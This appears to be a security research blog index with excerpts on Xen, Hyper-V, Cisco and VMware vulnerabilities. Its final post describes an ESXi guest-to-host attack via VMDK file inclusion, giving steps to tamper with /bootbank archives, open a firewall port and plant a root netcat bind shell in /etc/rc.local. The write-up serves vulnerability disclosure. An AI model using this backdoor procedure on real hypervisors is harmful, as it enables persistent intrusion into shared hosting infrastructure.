Revisiting Xen’s x86 Emulation: Xen XSA 123

In my last blog post, I gave an overview about recent vulnerabilities discovered in the x86 emulation layer of Xen. While both of the discussed vulnerabilities only allow for guest privilege escalation, the complexity of the involved code seemed to indicate that even more interesting bugs could be discovered. So I spent some time searching for memory corruption issues and discovered a very interesting bug that resulted in XSA 123 . This post gives an overview about the root cause of the bug and a short description of exploitation challenges. A follow-up post will describe possible exploitation strategies in more detail.

Continue reading “Revisiting Xen’s x86 Emulation: Xen XSA 123”

Continue reading

The Dangers of x86 Emulation: Xen XSA 110 and 105

Xen Logo

Developing a secure and feature rich hypervisor is no easy task. Recently, the open source Xen hypervisor was affected by two interesting vulnerabilities involving its x86 emulation code: XSA 110 and XSA 105. Both bugs show that the attack surface of hypervisors is often larger than expected. XSA 105 was originally reported by Andrei Lutas from BitDefender. The patch adds missing privilege checks to the emulation routines of several critical system instructions including LGDT and LIDT. The vulnerable code can be reached from unprivileged user code running inside hardware virtual machine (HVM) guests and can be used to escalate guest privileges. XSA 110 was reported by Jan Beulich from SUSE and concerns insufficient checks when emulating long jumps, calls or returns.

Continue reading “The Dangers of x86 Emulation: Xen XSA 110 and 105”

Continue reading

Cisco Cloud Services Router 1000V and the Virtual Matryoshka

Recently we started playing around with Cisco’s virtual router, the CSR 1000V, while doing some protocol analysis. We found Cisco offering an BIN file for download (alternatively there is an ISO file which contains a GRUB boot loader and the BIN file, or an OVA file which contains a virtual machine description and the ISO file) and file(1) identifies it as DOS executable:

$ file csr1000v-universalk9.03.12.00.S.154-2.S-std.SPA.bin 
csr1000v-universalk9.03.12.00.S.154-2.S-std.SPA.bin: DOS executable (COM)

We didn’t manage to get the file running, neither in a (Free-)DOS environment, nor in a wine virtual DOS environment, except using the boot loader from the ISO file. So we became curious as for the structure and ingredients of the file.

Continue reading “Cisco Cloud Services Router 1000V and the Virtual Matryoshka”

Continue reading

Serial Port Debugging Between two Virtual Machines in VMware Fusion

In the course of our virtualization research, we came across a certain technical issue we couldn’t find an easy solution on knowledge bases and the like. However, as we found the question several times on the web, the following post gives just a short hint on a technical detail.

If you want to connect two virtual machines in VMware Fusion using a serial port (e.g. for debugging purposes), Fusion doesn’t provide you an GUI option to configure that. However, if you just add the following config to the debugger system’s VMX file:

serial0.present = “TRUE”
serial0.fileType = “pipe”
serial0.fileName = “/path/to/pipe”
serial0.yieldOnMsrRead = “True”
serial0.pipe.endPoint = “client”

and the following lines to the debuggee system’s VMX file:

serial0.present = “TRUE”
serial0.fileType = “pipe”
serial0.fileName = “/path/to/pipe”
serial0.yieldOnMsrRead = “True”

you can use the serial port as in the Linux or Windows VMware Workstation — even though the GUI will show you an “unsupported custom setting”:

HTH & have a good one,

Continue reading

Exploiting Hyper-V: How We Discovered MS13-092

During a recent research project we performed an in-depth security assessment of Microsoft’s virtualization technologies, including Hyper-V and Azure. While we already had experience in discovering security vulnerabilities in other virtual environments (e.g. here and here), this was our first research project on the Microsoft virtualization stack and we took care to use a structured evaluation strategy to cover all potential attack vectors.
Part of our research concentrated on the Hyper-V hypervisor itself and we discovered a critical vulnerability which can be exploited by an unprivileged virtual machine to crash the hypervisor and potentially compromise other virtual machines on the same physical host. This bug was recently patched, see MS13-092 and our corresponding post.
Continue reading “Exploiting Hyper-V: How We Discovered MS13-092”

Continue reading

State of Virtualization Security ‘14

First of all, I hope you all had a good start to 2014. Having some time off “between the years” (which is a German saying for the time between Christmas and NYE), I caught up on several virtualization security topics.

While virtualization is widely accepted as a sufficiently secure technology in many areas of IT operations (also for sensitive applications or exposed systems, like DMZs) by 2014, there are several recent vulnerabilities and incidents that are worth mentioning.

First of all, a rather old vulnerability (codename “VMDK Has Left the Building“) was eventually patched by VMware, the day before Christmas’ eve (honi soit qui mal y pense… 😉 ). While the initially described file inclusion vulnerability cannot be exploited anymore, first tests in our lab show that attempts to exploit the vulnerability lead to a complete freeze of the shared ESXi host. We still need to dig deeper into the patch and will keep you posted.

On November’s patch Tuesday, an important vulnerability in Hyper-V was patched by Microsoft. The bulletin does not provide a lot of details as for the vulnerability, but the relevant sentence is this one: “An attacker who successfully exploited this vulnerability could execute arbitrary code as System in another virtual machine (VM) on the shared Hyper-V host.”. This does not allow code execution in the hypervisor. However, Hyper-V’s architecture comprises the so-called root partition, which is a privileged virtual machine used for all kinds of management functionality. This means that code execution in this particular virtual machine most probably will still give an attacker complete control over the hypervisor. Even without this root partition, the vulnerability would be one of the worst-case vulnerabilities in the age of Cloud computing, provided that MS Azure employs Hyper-V (which can be considered a fair assumption. Still we have no distinct knowledge here). Again, we’ll have a closer look at this one in the near future.

At the end of December, OpenSSL suffered from a virtualization-related incident. The shared hypervisor was compromised using a weak password of the hosting provider. While password-related attacks are not specific to virtualized environments, it emphasizes the need for secure management practices for virtualization components. This sounds like a very basic recommendation, but many security assessments we conducted in this space resulted in the need to include “attacks against management interfaces” in the top ERNW virtualization risks, which we cover in our virtualization and cloud security workshops. Also we mentioned this in some presentations and research results.

As the described events show, virtualization security will remain an important topic in 2014 (even though marketing material suggest to simply adopt virtualization – I won’t give any links here, you’ve probably already seen plenty 😉 ). We will cover several aspects during this year’s Troopers edition. While our workshop on “Exploiting Hypervisors” is already online (for the detailed description, see here), one talk is missing: Due to some rather strict NDAs, we can’t provide any details so far (but if you’ve read the MS13-092 credits carefully, it shouldn’t be too hard to guess 😉 ).


I hope you’re looking forward to 2014 as much as I do, stay tuned,


Continue reading

Analysis of Hypervisor Breakouts

In the course of a current virtualization research project, I was reviewing a lot of documentation on hypervisor security. While “hypervisor security” is a very wide field, hypervisor breakouts are usually one of the most (intensely) discussed topics. I don’t want to go down the road of rating the risk of hypervisor breakouts and giving appropriate recommendations (even though we do this on a regular base which, surprisingly often, leads to almost religious debates. I know I say this way too often:I’ll cover this topic in a future post ;)), but share a few observations of analyzing well-known examples of vulnerabilities that led to guest-to-host-escape scenarios. The following table provides an overview of the vulnerabilities in question:
Continue reading “Analysis of Hypervisor Breakouts”

Continue reading

BPDU Guard in Virtualized Environments (2)

Just a quick update here: Ivan (who gave the magnificent Virtual Firewalls talk at Troopers recently) blogged about this and some guy added some feedback from an environment with Cisco FEX and “one of the server guys start[ing] a Citrix Netscaler” ;-). See the second comment to his post.

This shows, once more, that the dependencies of various technologies (and what they are used for) must be well understood in cloud/virtualized environments. Complexity … but who do we tell. Y’ all know that, right?



Continue reading

VMDK Has Left the Building – Write Access

In our last series of posts regarding the VMDK file inclusion attack, we focused on read access and prerequisites for the attack, but avoided stating too much about potential write access. But as we promised to cover write access in the course of our future research, the following post will describe our latest research results.

First of all, the same prerequisites (which will be refined a little bit more later on) as for read access must be fulfilled and the same steps have to be performed in order to carry out the attack successfully. If that is the case, there are several POIs (Partitions Of Interest) on a ESXi hypervisor that are interesting to include:

  • /bootbank → contains several archives which build the hypervisors filesystem once they are unpacked
  • /altbootbank → backup of the prior version of bootbank, e.g. copied before a firmware update
  • /scratch → mainly log files and core dumps stored here
  • /vmfs/volumes/datastoreX → storage for virtual machine files

The root filesystem is stored on a ramdisk which is populated at boot time using the archives stored in the bootbank partition. As this means that there is no actual root partition (since it is generated dynamically at boot time and there is no such thing like a device descriptor for the ramdisk), this excludes the root file system from our attack tree, at least at first sight.

While trying to write to different partitions, we noticed that the writing sometimes fails. Evaluating the reason for the failure, we also noticed that this is only the case for certain partitions, such as /scratch. After monitoring the specific write process, we noticed the following errors:

Virtual Machine:

attx kernel: [93.238762] sd 0:0:0:0: [sda] Unhandled sense code
attx kernel: [93.238767] sd 0:0:0:0: [sda]  Result: hostbyte=invalid
attx kernel: [93.238771] sd 0:0:0:0: [sda]  Sense Key : Data Protect [current]
attx kernel: [93.238776] sd 0:0:0:0: [sda]  Add. Sense: No additional sense information
attx kernel: [93.238780] sd 0:0:0:0: [sda] CDB: Write(10): 2a 00 02 04 bd 20 00 00 08 00
attx kernel: [93.238790] end_request: critical target error, dev sda, sector 33864992
attx kernel: [93.239029] Buffer I/O error on device sda, logical block 4233124
attx kernel: [93.239181] lost page write due to I/O error on sda


cpu0:2157)WARNING: NMP: nmpDeviceTaskMgmt:2210:Attempt to issue lun reset on device
                        naa.600508b1001ca97740cc02561658c136. This will clear any
                        SCSI-2 reservations on the device.
cpu0:2157)<4>hpsa 0000:05:00.0: resetting device 6:0:0:1
cpu0:2157)<4>hpsa 0000:05:00.0: device is ready

Assuming that the hypervisor hard drive is not broken for exactly the cases we try to write from within a guest machine, we performed further tests (using various bash scripts and endless writing loops) and found out that this error occurs when the hypervisor and a guest machine are trying to write at the same time to the same device. Due to the fact that the hypervisor continuously writes log files to the /scratch file system and generates all kind of I/O to the /vmfs data stores (due to the running virtual machines stored on that partition), it was not possible to write to those devices in a reliable way.

Fortunately (at least from an attacker’s point of view 😉 ) the remaining partitions, /bootbank and /altbootbank, are only accessed at boot time and it is hence possible to write to those partitions in a reliable way. At that point, the initially mentioned fact about the lacking root partition gets important again: As the root partition would be the first and most promising target of write access, it would most probably also be locked by the hypervisor as there might also be different files that would be written on periodically. So when we were searching for a way to write to the dynamically generated root partition, we came up with the following steps:

  • Include the device holding the /bootbank partition.
  • Write to the /bootbank partition.
  • Wait for the hypervisor to reboot (or perform the potential DoS attack we identified, which will be described in a future post).
  • Enjoy the files from the /bootbank partition being populated to the dynamically created root partition.

The last step is of particular relevance. /bootbank holds several files that contain archives of system-critical files and directories of the ESXi hypervisor. For example the /bootbank/s.v00 contains an archive of the directories and files, including parts of /etc.  The hypervisor restores the particular directories (such as /etc) at startup from the files stored in /bootbank. As we are able to write files to /bootbank, it is possible to replace contents of /bootbank/s.v00 and thus contents of /etc of the hypervisor ramdisk. In order to make sure that certain files in /etc are replaced, we can access the file /bootbank/boot.cfg which holds a list of archives which get extracted at boot time. As we have all necessary information to write to the root partition of the hypervisor, these are the steps to be performed:

  • Obtain /bootbank archive, in this example /bootbank/s.v00, using the well-known attack vector.
  • Convert/extract archive: The archives in /bootbank are packed with a special version of tar which is incompatible with the GNU tar. However this vmtar version can be ported to a GNU/Linux by copying the vmtar binary and from any ESXi installation.
  • Modify or add files.
  • Repack the archive.
  • Deploy the modified archive to /bootbank using the write access.

Following this generic process, we were able to install a backdoor on our ESXi5 hypervisor. In a first step, we opened a port in the ESXi firewall (which has a drop-all policy) as we wanted to deploy a bind shell (even though we could have used a connect-back shell instead, but we also want to demonstrate that is possible to modify system-critical settings). The firewall is configured by xml files stored in /etc/vmware/firewall. These xml files are built as follows:

  <service id='0000'>
    <rule id='0000'>

The xml format is kind of self-explanatory. Every service has a unique identifier id, and can have inbound and outbound rules. To enable the rule on system boot the enabled field has to be set to true.

Based on this schema it is easy to deploy a new firewall rule. Simply place a new xml file to /etc/vmware/firewall in the archive which will be written to the bootbank later on.

For example to open port 42000:

  <service id="0000">
    <id>remote Bind Shell</id>
    <rule id="0000">

This ruleset will be applied the next time the hypervisor reboots, after overwriting one of the archives in bootbank with our altered one.

The next step is to bind a shell to the opened port. Unfortunately the netcat installed per default on the hypervisor is not capable of the “-e” option, which executes a command after an established connection. The most basic netcat bind shell just listens on a port and forwards all input to the binary specified by the -e switch:

netcat -l -p 4444 -e /bin/sh.

Luckily the netcat version of 32bit BackTrack distribution is compatible with the ESXi platform and supports the -e switch. After copying this binary to the hypervisor, we just need to make sure that the backdoor is started during the boot process by adding the following line to /etc/rc.local:

/etc/netcat –l –p 4444 –e /bin/sh &

Next time the hypervisor starts, a remote shell will listen on port 4444 with root privileges. The following steps summarize the process of fully compromising the ESXi hypervisor:

  • Include the /bootbank partition using our well-known attack path
  • Unpack /bootbank/s.v00
  • Add our bind shell port to the firewall by adding the described file to /path/to/extracted/etc/vmware/firewall
  • Add the netcat binary to /path/to/extracted/etc/nc
  • Add the above line to  /path/to/extracted/etc/rc.local
  • Wait for the next reboot of the hypervisor (or our post on the potential DoS 😉 )

At the end of the day, this means that once attacker is able to upload VMDK files to an ESXi environment (in a way that fulfills the stated requirements), it is possible to alter the configuration of the underlying hypervisor and even to install a backdoor which grants command line access.



Pascal & Matthias

Continue reading